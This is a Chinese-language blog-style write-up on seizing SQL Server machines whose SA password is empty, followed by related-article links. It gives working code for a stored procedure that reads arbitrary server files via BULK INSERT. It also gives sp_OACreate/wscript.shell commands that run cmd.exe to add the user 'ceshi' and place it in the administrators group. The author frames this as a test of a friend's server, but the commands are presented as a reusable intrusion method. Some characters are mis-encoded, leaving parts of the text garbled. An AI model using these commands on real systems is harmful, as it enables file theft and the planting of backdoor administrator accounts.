- 相關推薦
利用存儲過程控制SA口令為空的SQLServer服務器的方法
前幾天朋友找我,讓我?guī)兔y試一下他們的服務器,經過掃描后發(fā)現SQLServer的SA為空,決定利用這個漏洞做滲透測試。經過測試發(fā)現存儲過程 Xp_cmdshell以及讀取注冊表系列的存儲過程都被刪除了,并且Xplog70.dll也被刪除,所以無法執(zhí)行CMD命令和克隆管理員帳號了,看樣子是經過安全配置的,這種情況據我當時掌握的知識是沒辦法入侵的。以前也遇到過類似的機器,所以決定利用幾天的時間解決這個問題。經過兩天的查閱資料和測試,實現了不需要使用任何SQLServer自帶的存儲過程就可以從目標機上得到txt、asp等類型文件的內容(前提是知道SA 密碼或者SA密碼為空),實現過程就是自己建立一個臨時表,然后將文件讀到表中,再用SELECT語句得到返回值,即文件的內容。我們可以在查詢分析器里先寫入一個存儲過程,然后執(zhí)行,在需要的時候只要調用該存儲過程即可:
Create proc sp_readTextFile @filename sysname
as
begin
set nocount on
Create table #tempfile (line varchar(8000))
exec ('bulk insert #tempfile from "' + @filename + '"')
select * from #tempfile
drop table #tempfile
End
go
這樣我們只要執(zhí)行類似下面的語句就可以得到指定路徑下文件的內容:
exec sp_readTextFile 'c:\aaa.asp'
實現這個功能后,本打算通過讀取朋友服務器上網站的asp代碼,做進一步的入侵,可是后來發(fā)現,因為不知道網站asp文件的絕對路徑,所以這個功能根本用不上,只好作罷,另找其他方法。在這之后的幾天時間里,我想到了使用安全文章經常提到OLE相關的一系列存儲過程,這一系列的存儲過程同 Xp_cmdshell以及讀取注冊表系列的存儲過程一樣危險,但是其使用方法不象那些存儲過程在網絡上和書上介紹的那樣多,這系列的存儲過程有 sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod, sp_OASetProperty,sp_OAStop,下面我講一下通過查閱資料得到的使用方法:
打開查詢分析器,然后使用SA與目標機連接上,在查詢分析器里執(zhí)行:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user
ceshi 1 /add'--
這樣對方系統(tǒng)增加了一個用戶名為ceshi,密碼為1的用戶,再執(zhí)行:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup
administrators ceshi /add '--
用戶ceshi,被加入管理員組。
總結:通過這次滲透測試,又學到了一種利用存儲過程控制SA為空的SQLServer服務器的方法。
【利用存儲過程控制SA口令為空的SQLServer服務器的方法】相關文章:
以過程為話題的作文08-17
以過程為話題的作文11-07
過程裝備與控制工程就業(yè)前景07-20
利用口令法提高學生隊列訓練的興趣08-21
基于伯努利大數定律的云存儲數據方法研究08-18
以享受過程為話題作文02-25
以過程為話題的作文2篇12-24
控制槍支的方法 The Way to Control Gun05-11
過程裝備與控制工程專業(yè)學生求職信05-28
利用PXE批量克隆機器的一些方法08-18